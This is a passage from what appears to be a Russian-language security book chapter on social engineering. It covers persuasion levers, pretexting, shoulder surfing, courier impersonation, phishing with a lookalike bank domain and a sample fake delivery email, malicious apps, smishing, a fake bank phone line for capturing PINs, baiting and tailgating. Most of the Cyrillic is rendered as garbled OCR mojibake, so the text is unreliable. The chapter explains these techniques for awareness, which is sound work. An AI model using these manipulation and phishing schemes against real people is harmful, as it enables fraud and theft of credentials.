Ecou BbI 6y/1eTe co3maBaTh MOIIETBHYIO CTPAHUILY ¢ (OPMOIT /T BBO/IA JIOTWHA U T1a-
poJIst, yOeIUTeCh, YTO IPUHSIIN BCE MEPBI JIJIS TOTO, YTOOBI 06E30IIaCUTh IOy YeHUE
U XpaHeHHe ITUX JaHHBIX. VICIonb3yiiTe TOJbKO T cepBephl U IOMEHBI, KOTOPbIE
IIpUHAJIEeKAT BaM.
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[cMxonormyeckme KoHUeNUmm
B COLMANbHOW MHXXEHEepUn

B orymmune ot ocranbHbIx obJacTeit I/IHQ)OpMaHHOHHOI;,I 6630H3CHOCTI/I, OIINPAaIOINXCA
Ha I/IH(pOpMaTI/IKy, CHUCTEMHOEC a/IMMHUCTPUPOBaHUE, ITPOIrPaMMHPOBaHNE, COIIMaJIbHasA
WHXEHEPUA 3aUMCTBYET OOJIBIINHCTBO CBOUX KOHI[ETINI 13 TICUXOJIOTUH.

HOCKOJIbe CoMaJibHasA MHKEHEPUA MMOAPA3YMEBACT KOHTAKT YEJIOBEKA C YEJTOBEKOM,
TO H€O6XOZII/IMO PACCMOTPETH METO/IbI, TIPU IMTOMOIIN KOTOPBIX MOJKHO 3aCTaBUTH
YeJIOBEKa BBIITOJIHUTD HYKHOE ,Z[efICTBHe.

Buusgnue — rtepmuH, 0003HAYAIOIINIT TIOBEIEHYECKOE BO3AEHCTBIE, IPUBOSIILEE
K OIpPEIeJIEHHOMY pe3yibraty. BiusiHre MOKET ObITh MOJOKUTETHHBIM MU OT-
putiaTesbHBIM. Tak, MeXaHUK, TOBOPSIINI ¢ HE3HAKOMBIM C TEXHUKOHN UeI0BEKOM
0 COCTOSTHUU €r0 aBTOMOOMJIS U TIPEJJIAraloluil BAPUAHTHI 110 PEIEHUIO TPOOJIEMBI,
OKasbIBaeT HA HEro BaMsHUe. MaHUIY AU — 9T0 IaryOHoe [IPOsIBIeHNe BIUSHUS,
00BIYHO HallpaBIEHHOE Ha IPUYMHEHNE BPe/a.

JloBepuTeIbHBIE OTHOIIEHTIST O3HAUAIOT OTHOTIEHNS, XapaKTePU3YIOIINecs CoTIacueM
U IOBEPUEM JIPYT K JIPYTY, UTO fesaeT obienne Gosee serkuM. YToOBI BBICTPOUTD Ta-
KHe OTHOIIECHHUST, ATAKYIOIINE YacTO MOIAraloTest Ha OO onbIT (GY/Ib TO PeabHbIi
WJIM BBIMBIIIJICHHBIN ), UTPAIOT Ha MHTEPECAX KEPTBbI U TOUEPKUBAIOT CBOU COO-
CTBEHHBIE YePThI XapakTepa. Yacto nadopmaryu, nosydyeHHoi cpeacrBamu OSINT,
GBIBAET JI0OCTATOYHO JIJIsI TOTO, YTOOBI Y3HATH O CUMITATHSIX M YBJICUEHUSIX CBOEH TIEJIH.

Buaacre. Jlioau CKIOHHDI BBIIOJIHATH OIPEAEICHHOE JeiiCTBIE, eCIIH ITIPOChOa NCXO0-
JIAT OT KOTO-TO, 00J1a1aI01Iero OOJIBIINM aBTOPUTETOM, YeM OHM. ITa TeXHUKA OYeHb
s heKTUBHA: TaK, aTAKYIONUH MOKET CChLIAThCSI HA CTATHU B 3aKOHAX, I0BEPEHHOCTH
u npukaspl. CraBinii 00bEKTOM BJIMSHMS Y€JI0BEK, CKOpee Beero, He OyeT 3HaTh,
gro Hanucano B crathe 12 nynkre 5 Menepamproro 3akona Ne 327 ot 14 despasist
2023 roza. Beera moOMHETE 0 TOM, UTO JasKe €CJIM Y BaC eCTh BCe HeOOXOMMBbIE [0~
KYMEHTBI Ha TIPOBe/IeH e ayAnuTa 6e30MacHOCTH, BKJII0YAst COLUANBHYIO HHKEHEPUIO,
MPENICTABJSTHCS COTPYIHUKAMU MTPABOOXPAHUTETbHBIX opranos (nosuiun, OCH
U T. ]I.) HE3AKOHHO.

Honp06yﬁTe BbI3BATh CUMIIATHIO — JIIO/IN, KaK ITPAaBUJIO, XOTAT ITIOMOYb CUMIIa-
TUYHBIM UM JIIO/IAM. Bwr KOFlIa-HI/I6yZIB BCTpeydaJin MpoJaBlia, KOTOprﬁ XOTS OBl
HE IIbITAJICS ObITh BEKJIUBBIM U y‘ITI/IBbIM? .HIOZII/I, IIbITaloONIMecA 3aBOEBAaTh Ballle
PacItioJIoKEHNE, 6leyT JeJIaTh BaM KOMIIVIMMEHTDI 110 ITOBOY OJ€K/Ibl, BHCIITHOCTU
1 UHTEJJIEKTa.

CpouHocTh U euuut BpeMeHu. B Takre MOMEHTBl KDPUTHUHOCTD BOCTIPUSTHS
MIPOUCXOATINX COOBITHH CHUKAETCS M YEJIOBEK CKJIOHEH K UMITYJIbCUBHBIM U He-
06[yMaHHBIM OCTYITKaM. Takoil IpreM 4acTo UCTOJIb3yI0 MapKeToaoru. Bl Ha-
BEpPHSIKA BCTPEUAJNCH C CUTYallMel, KoT/ia Ha cailTaxX MOsBJIsSEeTCS TaliMep OTcUeTa,
MIpelyIpesk/IaloNInii, 4To JaHHOE Clel[MaIbHOe IPe/JIosKeHIe 3aKaHYNBaeTCs yepe3
Yyac WK MATHAANATh MUHYT (Wiu JII000H Apyroil epuos Bpemenn). To jke camoe
MTPOMCXO/IUT, KOT/IA YeJIOBEK MOJIydaeT (PUITMHTOBOE MIChMO, B KOTOPOM CKa3aHO,
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YTO B €T0 ITOYTOBOM ANINKE 3aKOHYUJIOCh MECTO, U €CJIN OH HE XOYET, 4TOOBI gepes3
12 yacoB Bce nucbMa ObLIN aBTOMATUYECKU yAaJjieHbl, TO HeO6XOI[I/IMO HpOﬁTH 10
CCbIJIKE JIA TTOoJIyY€eHUs IOMMOJTHUTEJIbHOTO MeCTa Ha CEpBeEPE.

Counanbuoe ogodpenue. 1o cBoeil cyTu Bce MbI CyI[ECTBA CONUATBHbBIE, U HAM
BaykKHO TI0JIy4aTh 0J00pPEHIe TPYIIIBI, ¢ KOTOPOI MbI cebst cootHocuM. Obparure
BHUMaHUE: JIIOJW UHOT/IA JIEJIAI0T YTO-TO UCKITIOYUTENBHO TIOTOMY, UTO JAPYTHE JITO/IN
CUMTAIOT 3TO HOPMAJIBHBIM, YMECTHBIM WJIN cTaTyCHBbIM. ColManibHble NHKEHEPHI
MOI‘yT y6e[[I/ITb CBOIO 11eJIb BOS[IGﬁCTBI/IH B HaJIMYNN y Y4Yero-To BbICOKOI'o CTaTyCB. nJjn
B TOM, UTO BCE OCTAJbHbBIC BEICOKOA((EKTUBHbBIC COTPYAHUKH JEJAAIOT TO, YTO OHU
IBITAIOTCS 3ACTABUTD CBOIO 11€JIb c/lesiaTh. Bo Bpemst chopa mH(pOpMaIny MOKHO Hall-
THU IIOTEHIINAJIbHbBIX KOJIJIET )KepTBbI, LITO6bI 3aTeM yBepHTb, YTO OHU ITOCOBETOBAJIN
00paTUThCI UMEHHO K 9TOMY YeJIOBEKY Kak O0JIaiarolieMy HyKHOM KBaubuKamei
U OIIBITOM JIJISI PELIEHUS TeKYIIel IpoOIeMBblL.

OTinuHbIN cIOCOO YCTAHOBUTD B3aMMOIIOHUMAaHHE — MPOSIBUTH COYyBCTBHE. [Ipe-
JIOTBpAIIas MyTaHUILY B TEDMUHAX, PA3Be/IeM OMITATUIO U CUMTIATUI0. IMIATUAS — 9TO
MOHMMAaHWKE TOTO, YTO JIOAN YYBCTBYIOT, KaK €CJIi Obl Bbl OBLIIM B UX CUTYAIIMN. IM-
MATHsT OTIUPAETCST Ha OOTIIE IMOTIUH VIIH OOTIIE TOYKY 3PEHUS, TOT/[A KaK CUMITATHST
BBIPAXKAET TOJIBKO TO, YTO YyBCTBYeTe Bbl. HecMOTps Ha aTy pasHuity, Ipu onpee-
JIEHHBIX OOCTOSTENLCTBAX BBI JIOJIKHBI YMETh BBIPAKaTh CBOU YyBCTBA 1 C TIOHUMAa-
HUEM OTHOCHUTBCS K YyBCTBAM >KE€PTBBI; HO TAK)Ke BbI JIOJIKHBI KOHTPOJIUPOBATH 9TOT
TIPOIIECC M He 3aX0/IUTh CIUIIKOM JATEKO.

BsanMozeiicTBysI ¢ AKepTBOii, BbI MOKETe MOAENUTHCsI KaKOi-HUOYIb CBOel ncTopueit
(HacTosLmIel WIM IPUAYMAHHOI) U TeM, KaK Bbl 4yBCTBOBAIU ceOs IIPU 9TOM. ITO
MI03BOJIUT BTOPO CTOPOHE ITPOSIBUTH COUYBCTBUE K Balllell CUTYalluy U YJIYUIINT B3a-
nMonioHnMaHue. Ecim KTo-To paccKkasbIiBaeT BaM TO, K YeMy BbI HE UMeeTe HUKAKOTO
OTHOILIECHNS, 3a/jaliTe UM BOIIPOCHL O CUTYallMU WUJIU BbICKAXKUTE COXKaIEHUE O TOM,
YTO YTO-TO IIPOU3OIILIIO, — HTO [IPUMEP BBIPAKEHUS COUYBCTBUSL.

Ha koro obpatntb BHUMaHue?

HOCKOJIBKy ColMaJbHadaA WHKEHEPUA BO MHOTHUX CaydYadaX He Tpe6yeT 0COOBIX Ha-
BBIKOB, TO KpyT JIIOlIeﬁ, KOTOPpbI€ MOT'YT HaHECTHU BPE€/l Oprann3dalnu, CyumeCcTBEHHO
yBEJINYNBaAECTCA.

ITpesk e Beero, 910 Jirobbie cnenuamcTsl B o6mactu UT. [a, BEPOSTHOCTD YCIENTHON
aTaKy MPOTHUB HUX HUJKE, HO B CJIyYae MOJTOKUTETBHOTO MCX0/a BbI TIOJTydrTe GoJiee
IIUPOKKE IPUBUJIETNU B CUCTEME, HEJKEJIN YeM MIPU aTake Ha 0OBIYHOIO M0JIb30Ba-
TeJI.

[lajiee, 5T0 pazoyapoBaHHbIE PAOOTHUKH, KOTOPbIE ITPEICTABJISIIOT GOJIBIITYIO YTPO3Y
JUIsT opranusainuu. Yaiie BCero aTo JIOH, HEJJOBOJIbHbIE HBIHEITHUM MTOJIOKEHEM
JieJT B KOMITAHUH, CBOEH JIOJIKHOCTBIO, OKJIA/IOM UJIN YBOJICHHbBIE, HA WX B3TJISI, He-
cripaseuuBo. o cratucrike, B CITTA 75 % coTpyTHUKOB BOPYIOT 4TO-JTHO0 ¥ CBOETO
paboromares, a 0koji0 60 % mocie yxozna 3abupaior ¢ co0oil JaHHbIEe 0 KOMITAHUH
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u kaveHTax. Yale Bcero JIaHHbIe BBIHOCAT Ha Oymare, s)KeCTKUX AMCKaX, (Jien-
Kaprax. 38 % COTPYAHUKOB UCIIOIB3YIOT TIEPCOHATBHYIO TTOUTY JIIsT 0OMeHa KOH(DU-
JeHIIMAJIbHOM nHpopMalmeil npeanpusaTs.

HNudopmanuonnsie Opokepbl. [lajke ecyin OpraHu3aliio He B3JIaMbIBAIOT B JaHHbII
MOMEHT, TO 3TO HE 3HAUUT, YTO OHA HE HAXOAUTCS 1Mol HabmoaeHneM. CyIecTByOT
1eJIble KOMITAHWK, OCHOBHOM 3a/1aueii KOTOPBIX SABJIETCs cOOP IePCOHANLHOI nHbOp-
Malliu ¢ IeJblo ee mocieayionieii nepenpogaxu: LexisNexis, KnowX, MasterFiles
u T. 1. VIX MOKHO ObLIO GbI OTHECTH K Paspsily CIIEIMaICTOB, HO Mbl HAMEPEHHO BbI-
JIeJINJIA UX B OT/EJbHYIO KATerOpuIo, YTOOBI ellle Pa3 HoAYEPKHYTh Ba)KHOCTb cOOpa
KaK MOKHO OOJIbIIEro KoJudecTBa MH(MOPMAIUU O 1eJIeBON OpraHu3aliiu.

OXOTHHKHM 32 rOJIOBAMH 3aHUMAIOTCSI TEM, YTO OCYILECTBJIAIOT HoA00D IepcoHaa
JUIST OTIpe/leJIEHHbIX OPTaHU3aIUi. Y TaKUX KOMIIAHUI eCTh I1eJible CaiiThl C BaKaH-
cusiMu. YeM oHU MOTYT GBITD 110J1e3HBI? OOBIUHO TaKUE JIOAU JOCTATOYHO XOPOIIIO
3HAIOT CTPYKTYPY OPTAaHU3AINH, [IJII KOTOPOU OHU UIIYT Jiofel. Huuto e memraet
HaM CO3/1aTh TIPOdUIb, Mpeanoaoxnm, Ha linkedin, koropsrit 6yaer #a 120 % orse-
4yaTh TPeOOBAHMAM OJHOW M3 BaKaHCUH, a BO BpeMst cobeceloBaHus, KOTOpoe Oy1eT
BHaYaJIe IPOXOAUTh UMEHHO C PEKPYTUHIOBOI OpraHusalueii, ysuaTh 60JIblIIe O 11e-
JIeBOI KOMITAaHWU.

Tunbl aTak

IIperekcrunr (pretexting). B aToMm ciyyae yeoBek Bbiaetr cebs 3a Pyroro, YToObI
HOJIYYUTh HEOOXOAMMYIO nHpopMaImio ot cobecennka. OOBIYHO TPU TAKOM THIIE
aTaK 3JI0yMBIIIIJIEHHUK 3BOHUT CBOM JKEPTBe, MMesl 3apaHee 3ar0TOBJIEHHbIN clieHapuit
IS TIOCTIETYFOIIIETO Pa3roBOPa, OTCIO/IA 1 MTPOM3O0IIIIO Ha3BaHME AAHHOTO THTIA aTaK.

Hanpumep, Haiing B MycopHoM 6ake KBUTAHIMIO M3 GaHKa, 3JI0YMBINICHHUK TI0-
3BOHMJI JKEPTBE, IPEJACTABUBINNUCH COTPYIHUKOM KPEJIUTHOTO OT/EJIa, U CKa3aJl, uTo
CPOK ZIEHCTBUS KapThl JKEPTBBI UCTEKAET M OHA MOKET 3aKa3aThb HOBYIO. B oTBet
JKePTBa COODIIUIIA, UTO HTO HE TaK U €l HA/[0 IPOBEPHUTD CPOK JAEHCTBUSI CBOEH KAPTBL.
3JI0YMBITIJIEHHIK, COCJABIIICH Ha OIMUOKY B CHCTEME, TIOTIPOCHJI YTOUHITh HOMED
KapThl, U KEePTBA COOOIINITA €TO.

MoaraaasiBanue (Shoulder surfing). Eciiu nonsitarbest nepeBectd 3T0T TEPMUH J10-
CJIOBHO, TO TIOJIYYUTCS UTO-TO BPOJIE «3arJISIIBIBAHUS Yepes TIed0». B cayuae Takoit
aTaKy HalaoInil HAOI0[aeT 3a JKePTBO U 3aIlIOMUHAET JAEHCTBIUS, KOTOPbIE OHA
TIPOU3BOJINT, 3aTEM UCTIOIB3YET MOTyYeHHbIE TaHHDIE TSI TOCTEAYIONeN aTaku.

Ha camom zmesie Habmionath 3a KepTBOI MOXKHO pasindubiMu criocobamu. Hamaza-
IOIIMI MOKET MCII0JIb30BaTh KaMePbl WJIK 3epKajia /it HaOJII0AeHIs Ha PACCTOSAHIUI
WJTH Jlaske aHAJM3UPOBATh 3alicy ¢ KaMep HabuoeHust. TakuM 00pa3soM MOKHO
royuuTh He TorbKo [IMH-kox kapTel, HO 1 maposm k cuctemam. Hanmpumep, yacto
MO>kHO BUieTh UT-criennannctos, kKoTopble Ha KOH(MEPEHIINSIX T0JIb3YI0TCS HOYT-
OyKaMu U TIOJKJII0YAIOTCS K KOPIOPATUBHBIM CETSIM, IIPU 9TOM IPAKTHYECKH HUKTO
13 HUX He y/IeJIIeT J0JKHOTO BHUMAHUs CBOEN TTPUBATHOCTH.
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IMoanenka npunaieskHoct. OueHb XOpoIno paboTaeT B KPYITHBIX OPraHU3aI[UsIX.
B nare Bpemst He nipobieMa 10cTaTh YHUGOPMY COTPYAHUKA CIYKOBI TOCTABKH.
Ha ebay ¢upmennas kyprka komnanun DHL co6oauo npogaercs 3a 70 espo. Hu
Y KOTO HE BBI30BET MOJI03PEHUST COTPYAHUK CIYKOBI IOCTABKU, KOTOPBIN XOAUT 110
KaOMHeTaM U UILET HY;KHOTO Ye/I0BeKa, XOTs TJIaBHOM 3a1a4eil 1Jist Hero OyueT HalTu
He3a0JIOKUPOBAHHY 0 PaOOUYIO CTAHIIHMIO, OCTABICHHBIN 63 TIPICMOTPa HOYTOYK MJTH
JIOKYMEHTHBI.

@uumnr (phishing). IaBhast waest JaHHOTO METOA — B CO3AAHMH TIOAAEIbHBIX
MUCEM U CAUTOB OPTaHU3AIMI JIJIsI TTOJyYeHUs OCTYTa K MIPUBATHON UHGOP-
MaInm.

Harpumep, 310yMBIIITIEHHUK COCTABJISIET IUCbMO, B KOTOPOM FOBOPUTCS O TOM, YTO
AKKAyHT I0JIb30BaTelisl B cHCTeMe 3a0JIOKMPOBAH U eMy HeOOXOAUMO MepeiTu mo
YKa3aHHOI HUJKE CChLIKE st pas0oKnpoBKr. Takue muchbMa MOTYT PacChlIaThCst
OT UMeHU HAHKOB, IOYTOBBIX 1 UTPOBBIX CEPBUCOB, COIMATBHBIX CETEN.

B nmpuBeneHHOM HIKE TPUMEPE MOTH30BATEIIO COOOTIAIOT O TOM, YTO €T OKH/IAET
MOCHIIKA, ¥ TIPeIaraioT 3a6pOHIPOBATh BpeMst JOCTaBKK. B Haie Bpemsi, Korja
NpaKTHYeCcKu Bee ucnosb3ytor Aliexpress, Ebay u T. 1., KTO 3a10103pur, 4To 910 MO-
ket ObITh putnuar (puc. 8.1)? Cropee gaske HAOOOPOT, YETIOBEK 00PALYETCS CKOPOMY
TIOTYIEHIIO TOJTOKAAHHOTO TOBAPA.

https:/fstorage.googleapis.com/ | | | |
C < .
tancwg4TBeachipi/opyhi . jrmation@mail 691099880088936( | =2 | | 3 Reply | € ReplyAll | = Fouard || -+ |
PWTSE? pickid. 2022, gada 21.04 2259
f2bVHEceSnkdeyzPLedcWSckeBwTCeQsbe
(D) f tl bbbay ‘ayed, click here to view it in a web browser,

Click or tap to follow link.
Uit your code o ack #and regehee il

Package Delivery

You have (1) package waiting for delivery .

Unfortunately we were not able to deliver postal package you orderd because the requested address was not correct.
Schedule a redellvery and subscribe
to our push notifications to ensure this does not happen again!

Thank you

Your-tracking-code:
29184773

Schedule your delivery

Ihe advertiser does not manage your subscnphon.
If you prefer not to receive further communication please unsubscribe here
Cir write to: 6101 Leng Praine Rd, Ste 744 #511, Flowear Mound, TX, 75028

Puc. 8.1. duunmHrosoe nncbMo
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EcTp TexHMKM, KOTOPBIE TTO3BOJISIOT CKPBITD OT TIOJTH30BATEJIST PEATHHOTO TOJTydaTesist
IMCbMa, CKaskeM, YKa3aB B 110J1e Replay-To accounts@google.com, Torjia Kak B 11osie Sender
OyZeT yKaszaH OTIpaBUTeNb someuser@google.com. OIHAKO 1101b30BATEN He CKIOHHBI
AHAJIM3NUPOBATh TaKMe IM1MCbMa U YBUJAT TOJIBKO TO, YTO XOUYET COCTaBUTEJIb ITMCbMa.

YacTo B Takue MHCHMa BMECTO CCBLTOK TOOABIISIOT TTPUTOKEHNST, 3aPaKeHHbIE BUPY-
coMm. Elie oiun kilaccnyeckuii mpuMmep — [ucbMa cyacTbs. B 9ToM ciryyae 110J1b30Ba-
TeJIb TI0JIy4YaeT MICbMO, B KOTOPOM TOBOPUTCS, YTO OTIIPABUTEJb CTaJl HACAEHUKOM
OrPOMHOTO COCTOSIHUS, ¥ YTOOBI MOJYYUTh €ro, HEOOXOAUM TTIOPYUUTEN b, KOTOPbIii
nostyaut 40 % OT CyMMBbI HACJIEACTBA (& 3TO YTO-TO OKOJIO $5 MIIH) B KauecTBe BO3Ha-
rpaskieHust. YToObI CTaTh TIOPYUYUTEIEM, HEOOXOIMMO BBICIATh OTIPE/IEJIEHHBIE JIaHHBIE.

YacTo Takue nuchMa He HallesJieHbl Ha KaKOI'0-TO KOHKPETHOI'O Y€JI0BEKaA. OTKIUK Ha
HUX COCTABJIAET OKOJIO 0,1 %, HO 1 9TOTI'O yiKe 6yaeT JLOCTATOYHO.

Henb3st He yOMSHYTD TTOZI/Ie/IbHBIE caliThl. /laske ecyii TOJIb30BaTETh OUEHB OTIBIT-
HBII YeJIOBEK, TO €r0 BCe PAaBHO MOJKHO 0OMaHyTh. B Hallle BpeMst 3aperucTpiupoBaTh
JIOMEH MO>KHO Ha MTO/ICTABHOTO YesioBeKa U moayunTth SSL-ceprudukar Ha 90 gaHei,
MPAKTUYECKH He MTPOXOJIsT BATU/IAIIIO.

[l priMepa BosbMeM OGaHK ¢ GoJiee-MeHee IIPUBbIYHbIM HazBaHreMm — Raiffeisen. TTo
npaBuiaM BeeMUpPHOH May THHBI 3apercTPUPOBaTh ToMeH raiffaisen.com Ham HUKTO
He 3anpeTuT. A GOJIBIIMHCTBO KOHEYHBIX MOJIb30BaTeIEH He 3aMeTT moaMenbl. Kak
yske OBbLIO CKa3aHo, /IS oydeHus TectoBoro SSL-ceprudukara ot comodo Her He-
06XOUMOCTH IPOXOAUTD MIPOBEPKY Ha MOATUHHOCTL. OHM IIPOBEPST TOABKO TO, 4TO
Y 4eJIOBeKa eCTh JIOCTYTI K IOUYTOBOMY SIIUKY, HAXOSIIEMYCS B 3TOM jloMene. J[aib-
1e — 10 TEXHUKK PA30CaaTh MUCbMO MOJIb30BATENSAM € MTPOCHOOH 03HAKOMUTHCS
C HOBBIMU NPaBUJIaMK GaHKa, KOTOPBIE HAXOASATCS 110 9TOMY YKa3aHHOMY aJ[pecy.

Opi1H U3 IPUMEPOB yIAYHOTO UCTIOJIb30BAHUS (DUIITMHTA CBSI3aH C XaKePOM 110 MMEHU
Kesun Mutnuk (Kevin Mitnick). Araka 6biia HallesieHa Ha Komnauuio RSA, creru-
AMU3UPYIONIYIOCS Ha pa3paboTKe permennii 17ist nHhOpPMAITMOHHO 6e30TTaCHOCTH.
Hamanenne nauanoch ¢ Toro, uto KeBun MUTHUK OTHPaBIII (DPUITUHTOBBIE THCbMa
COTPYZHUKAM KOMIIaHUH. B muchMax 3/10yMBIIIJIEHHUK BbIaBas cebst 3a COTPYAHU-
Ka TeXHUYECKOH MOMepKKK U yOeKIall moJydaTesieil OTKPhITh BIOKEHHBIN (aii,
sTKOOBI coftepskaimuii Baxuyio uadopmanuio. Daiir coxep:xan Bpenonocuoe 110,
KOTOPOE MO3BOJIUIIO XaKePy MOJYIUTh JOCTYII K KOMIIbIOTEPAM JKEPTB U, KaK CJIe[l-
CTBUE, K KOPIOPAaTUBHOM ceTn RSA.

ITociie mosyvyenus pocryna k cetu MUTHUK CMOT HAaliTU U TOXUTUTDL UHGMOPMAIUIO
o cucreMme bGesonacuoctu SecurlD, paspaborannoil RSA. 9ta cucrema 1pemnocTas)is-
J1a IBYX(aKTOPHYIO ayTeHTU(DUKAIINIO /7T KITMEHTOB KOMIIAHWY 1 MCII0JIb30BAJIACh
MWJJIMOHAMU TI0JIb30BaTes el 110 BceMy MUPY. YCIIeITHbIHM B3JIOM ITPUBEJI K KOMITPO-
METAIIH CUCTEMBI GE30MTACHOCTH 1 Cephe3HOMY yiiepOy st permytarmi RSA.

CouuanbHas MHKEHEPHUS C UCI0Jb30BaHUEM MOOUJIbHBIX YCTPOICTB. J{aHHBbIil
THUI aTAKU MOKHO ITPOMJIIOCTPUPOBATD HA IIPUMEPE CO3/IaHMs BPEIOHOCHOTO TIPU-
JIOKeHUST JIJIsT cMapT(goHa ¢ OUeHb MPUBJIEKATENbHON (DYHKIIUEN, KOTOpast TIOJITOJI-
KHeT II0JIb30BaTesell K 3arpy3Ke U yCTAaHOBKe IIPUJIOKEHUS Ha CBOM YCTPONCTBA.
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Y7066l TOMYJIAPU3UPOBATH TAKOE MPH-
JIOKEHUE, YaCTO UCIIONIB3YIOTCS UMEHA, € a 9
MOXOJKMe Ha NMeHa TMOTYyJSPHBIX MPO-
rpamMm B O(UIMAIBHBIX Mara3uHax Mmpu-
noxennii (puc. 8.2). [Tocse ycranoBKk®
BPEZIOHOCHOTO MPUJIOKEHUS HA YCTPOTi-
CTBO JKEPTBBI OHO CMO’KET U3BJIEYD U OT-
MIPABUTH yUETHBIE TAHHBIE TIOJTH30BATEISI
3JI0yMBITIIEHHUKY. YTO camoe nHTepec-
HOe, MHOT/IA TaKue TTPUIOKEHUS MOTYT
BBITIOJTHSATD 3as1BJIeHHbIE (DYHKITUN.

B KOHTaKTE C Apy3baMu (BrAVE)
Social
43% 24MB [ 100K+ = Firdev

VK Video Feed
Video Players & Editors
31% 6.6MB [ 50K+ * i -Mov

VK Knowledge Electrical
Education
48 M8 [E 10K+ - Education Nick Media

Eie oana ¢hopma MOOMIIBHON COLMAIb-
HOW WHXKeHePUW M3BECTHA KaK «CMU-
IMIAHT». JTOT THUII aTaKN 3aKJII0UYAETCS
B oTipaBke SMS-coobiieHust ¢ Bpeao-
vocubiM URL-anpecom. Hananaromue
MOTYT OTIPaBAATh SMS-coobuienus
CITYYalHBIM JIIOJISIM, TIPA 9TOM TEKCT Ta-
KOTO COOOIIEHNS OYEHb ITOXO0XK Ha TOT,
KOTOpPbIe 0OBIYHO TIPUCHLIAIOT BaM OaHKH.
Coobutenue cogepxut URL, 1 Huuero He
[10/IO3PEBAIOIIUI YEJIOBEK MOKET HAKATh
Ha BPEZIOHOCHYIO CCBLIKY, KOTOPas prBe-
JIET €TO Ha CIIeINaJIbHO CO3aHHBIN CAllT
¢ ¢hopMoii BBOJIA INYHBIX JJAHHBIX.

DonationAlerts Studio
Photography
4.2% T6MBE [E 500K+ * VK.com

Wildberries

Get offers, discounts, and order just
about anything for delivery
48% 35 MB [ 50M+ * Wildberries L...

DonationAlerts
Entartainmant
2.4% 97MB [ 100K+ = VK.com

Yandex Browser with Protect
Personalization * Tools * Browsers
4.6% g4MB [E100M+ * Intertech Se..

HaBnioparene (BKonTakTe)
Social
4.3% 19MB [ 500K+ * Notifications

Tenedouustii pummunr. B naimre Bpems
apromatudeckue ATC ctamm HeoThemIIe-
Moit wacTbio ceps obcmyskuBamst. s
YCKOPEHUST U YIPOIeHus njaeHTuduKa- Puc. 8.2. MNpuMep NpunoxeHuii npu
1K MHOTHE GAHKH IIPOCAT CBOMX KJIHEH- noucke VK yepes Google Play Store
TOB UAECHTUDUITMPOBATHCS TIO Tesre(ony,

a IMEHHO BBECTH HOMEP KJINEHTA U TTApOJib BO BPEMS OKMIaHUS oTlepaTopa. ATaka
MIPU TAKOM THUIle ayTeHTudUKaum goctatouno npocra. Kondurypupyerca ATC,
KOTOpast (GUKCUPYET BCe IefICTBHS MMOJIb30BaTeNsd. /lasee BceM OIh30BaTEIIM Pac-
CHLTAETCST TTHCHMO € TIPOCKOOH CBA3ATHCST ¢ GAHKOM TI0 3apaHee MOATOTOBIEHHOMY
HoMepy. [Tosb30BaTe b OYIET 3BOHUTD, BBOAUTH CBOU JIaHHbIE, TOCJIE YETO 3BOHOK
Gynet copacbiBathest. Koneuno, mocsie onpeiesieHHoro KoJM4ecTsa pa3 aTo eMy Ha-
JIOECT, HO K TOMY BPEMEHU Y aTaKyIoIero yKe OKasKyTCsI HECKOJIBKO MapoJiell ¢ ero
KapThbl U HOMED TTOJTh30BATEJISL.

ITpumanka. IIpu momorie aToro nprieMa Obljia OCTaHOBJIEHA paboTa IEJIOT0 TIPEANPH-
SATUS, BHYTPEHHSS CETh KOTOPOTO HE MMeJIa CBSI3U ¢ BHEITHUM MUPOM. 3JI0YMBITII-
JIECHHUK OCTaBWJI KPACHUBYIO, TPUBJIEKAIONIYIO BHUMaHWE (hJIel-KapTy Ha TTapKOBKe
JUISI COTPYHUKOB, OIUH M3 KOTOPBIX 3aMeTUJI 1 110100pa ee. EcrecTBeHHO, 9T0 OBLIO
YTPOM, Tiepe/] HadaioM pabodero jitst. JToOOIBITCTBO B3SO BEPX, U COTPYHUK TPSIMO
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Ha paboueM MecTe el IPOBEPUTH ee coaepsknMoe. Kak BbI moOHNMaeTe, Ha Hell
ObLT BUPYC, KOTOPBIN 0YeHb OBICTPO PACITPOCTPAHIIICS [T0 BHYTPEHHEN CeTH.

IIpoxon «mapoBosukom» (tailgating). Mcmosb3yercs s TPOHUKHOBEHUST HA
3amuIeHHbie 00bEKThI. [IPeANoI0KNM, YTO HA TIPEANPUATUN CTOAT TYPHUKETHI
U IOCTYII OCYILIECTBISETCS 110 9JIEKTPOHHBIM KapTaM. Ho ecin ybeauTh oqHOrO U3
COTPYTHUKOB B TOM, YTO KapTy BbI IIOTEPSJIN, 4 BaM HeO6XOIII/IMO CPOYHO ITIOITaCTh Ha
COBEIIAHME, TO AJIEKTPOHHAS CUCTEMA TIPOTTYCTHUT IBYX YEJOBEK CPa3y, IPOXOSIITIX
yepes3 TYPHUKET BIUIOTHYIO APYT K APYTY.

da3bl aTaku

ITocMoTpUM Ha KapTUHY B 11e710M. ITOOBI yIAYHO IIPOBECTH HAIIETIEHHYIO Ha YeTOBEKa
aTaKy, HeoOXOUMO:

cobpaTh KaKk MOKHO 0oJiblie HH(pOPMAIUK O 1IeJIN;

YCTAaHOBUTD JOBEPUTEJIbHBIE OTHOIIEH ;]

MOJIyYUTh MH(HOPMAIINIO;

HCIIOJIb30BaTh €ee.

Co6op undopmanuu. MudopMainio MOKHO cOOUPATh U3 PA3IUIHBIX UCTOUHU-
KOB — KOPIMOPATUBHOTO caliTa, COIMUATBHBIX ceTeil, GOpyMOB, yOIUKAIUil 1 aske
13 Mycopa.

Yto MOKeT OBITH TPEKpACHEE, YeM KOTIATHCSI B MyCOPHOM Oake BMeCTe ¢ JIuTiamMu Oe3
OTIPEIETIEHHOTO MecTa JKuTeabeTBa? Ho Ha caMoM Jiefte u3 Kasagroch Obl HHKOMY He
HY;KHOTO MYCOPa MOKHO COOPATh I0OCTATOYHOE KOJIMYECTBO MH(DOPMAIIUY JIJIST TIPO-
BeJIEHUs YCIIeIHO# aTaku. JII0u CKIOHHBI BHIOPACHIBATH HEHYSKHbIE BEIIH — CUYETa,
cTapble PEIeNThl, BRIMUCKU U3 OAaHKOB, (hoTorpaduu, pestoMe U MHOTOE JAPYTOE.
Vcmob3yst 9TU TaHHbIE, JIETKO OMPEIETUTh, YeM YeT0BeK OOeeT, y KAaKOro Bpava
JIEUUTCS, TJIe KUBET, ero MepcoHalIbHbII HoMep Tesedona, (huHaHCOBOE COCTOTHHE
1 MHOTO€ JIpyroe, 4YTO II0TOM MOXKHO MCIIOJIb30BaTh IIPOTUB Hero. VIHoraa nonbITKy
MIPOHNUKHYTH B CHUCTEMY 3aHUMAIOT He/leJIM BpeMeHH, a 3a /IeCITh MUHYT yaeTcs
